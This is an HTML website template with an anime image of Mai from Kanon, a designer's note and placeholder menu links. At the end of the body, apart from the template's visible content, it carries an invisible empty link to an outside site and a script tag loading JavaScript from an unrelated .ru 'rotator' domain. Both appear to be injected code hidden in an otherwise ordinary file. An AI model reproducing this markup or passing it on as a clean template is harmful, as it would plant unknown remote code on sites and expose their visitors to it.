<html>
<head>
<title>Template -- Mai</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #652222;
	background-image: url(images/mai_04.gif);
	background-repeat: repeat-y;
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.title {
	font-size: 36px;
	font-weight: bold;
	font-variant: normal;
	position: absolute;
	left: 0px;
	bottom: 0px;
	width: 554px;
	font-style: normal;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
a:link {
	color: #CCCCCC;
}
a:visited {
	color: #CCCCCC;
}
a:hover {
	color: #999999;
}
a:active {
	color: #CCCCCC;
}
-->
</style>
</head>
<body>

<div id="Layer1" style="position: absolute; left: 0px; top: 0px; width: 554px; height: 481px; z-index: 1; background:url(images/mai_01.jpg)"><div><img src="images/credit.jpg" border="0" usemap="#Map" /></div>

<!-- Put the title here: -->
<div class="title">Website Title</div>

</div>
<div id="Layer2" style="position: absolute; left: 554px; top: 0px; width: 246px; height: 481px; z-index: 2; background:url(images/mai_02.jpg); overflow:visible"></div>
<div id="Layer3" style="position: absolute; left: 0px; top: 481px; width: 800px; height: 100px; z-index: 3; background:url(images/mai_03.jpg); background-repeat:no-repeat">

<!-- Website content goes here: -->
<table>
        <td width="555" valign="top">This is the first design I've done in a while, but I like the way it turned out. It should be pretty easy to edit (look for the table). I experimented with using brighter colors, and I also decided to have the menu aligned with the content rather than starting from the top of the page. The picture above is Mai from Kanon, and the brushes come thanks to AngryBlue and Obsidian Dawn. If you use this template, please leave the watermark at the top.</td>
          <td width="246" valign="top">
	  <p>Menu<br>
  <a href="#">Link</a><br>
  <a href="#">Link</a><br>
  <a href="#">Link</a><br>
  <a href="#">Link</a><br>
  <a href="#">Link</a><br>
  <a href="#">Link</a></p>
  </td>
</table>


</div></div><div id="Layer4" style="position: absolute; left: 0px; top: 581px; width: 1px; height: 19px; z-index: 4"><img src="images/mai_04.jpg" width="1" height="19" alt=""></div><div id="Layer6" style="position: absolute; left: 0px; top: 0px; width: 1px; height: 601px; z-index: 6"></div><map name="Map"><area shape="rect" coords="230,0,557,11" href="http://frenicweb.com" alt="frenic web design -- frenicweb.com -- probabilityzero">
</map>

<div style="font-size: 0.8em; text-align: center; margin-top: 1.0em; margin-bottom: 1.0em;">
<a href="http://web-mastery.info/">  </a>
</div>
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
</body>
</html>